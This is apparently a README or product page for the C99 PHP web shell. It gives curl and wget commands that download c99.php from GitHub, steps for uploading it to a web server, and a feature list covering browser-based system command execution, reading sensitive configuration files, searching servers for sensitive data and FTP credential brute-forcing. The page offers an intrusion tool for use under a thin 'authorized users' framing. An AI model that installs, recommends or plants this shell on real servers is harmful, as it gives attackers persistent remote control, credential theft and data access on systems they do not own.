C99 Shell is a robust PHP web shell utility that allows authorized users to remotely manage files, execute system commands, and monitor server environments. It is intended for use by security professionals, administrators, and researchers.

To install C99 Shell on your server, follow these steps:

1. Download the Shell Script
   Use wget or curl to download the c99.php file:

   Using curl

   curl -o c99.php https://raw.githubusercontent.com/c99-shell/c99/refs/heads/main/c99.php

   Using wget

   wget https://raw.githubusercontent.com/c99-shell/c99/refs/heads/main/c99.php -O c99.php

2. Upload to Your Server Transfer the c99.php file to your web server using FTP, SCP, or your hosting control panel’s file manager. Access the Shell Open a web browser and navigate to the script’s URL:

   https://your-domain.com/c99.php

• Advanced File Management
  Browse directories, create and delete files or folders, upload and edit content—all through a clean web interface.

• Remote Command Execution
  Execute system-level commands in real time directly from your browser, with support for multiple PHP execution methods.

• MySQL Database Control
  Connect to MySQL databases, run SQL queries, view tables, and manage records without needing phpMyAdmin.

• System Environment Overview
  Inspect detailed information about the server: OS, PHP version, server software, memory usage, and more.

• Security & Configuration Access
  Identify server vulnerabilities, read sensitive configuration files, and evaluate security posture.

• Data Encryption & Hashing Tools
  Encrypt or hash data using built-in tools (Base64, MD5, SHA1, SHA256, etc.) for quick testing and encoding.

• Custom PHP Code Execution
  Run your own PHP scripts directly in the shell to test code, perform audits, or build custom tools.

• Server-Wide File Search
  Search by file name or content across directories to quickly locate sensitive data or hidden files.

• FTP Brute Force Scanner
  Test FTP credentials against a target server to assess the strength of login protection (for ethical testing only).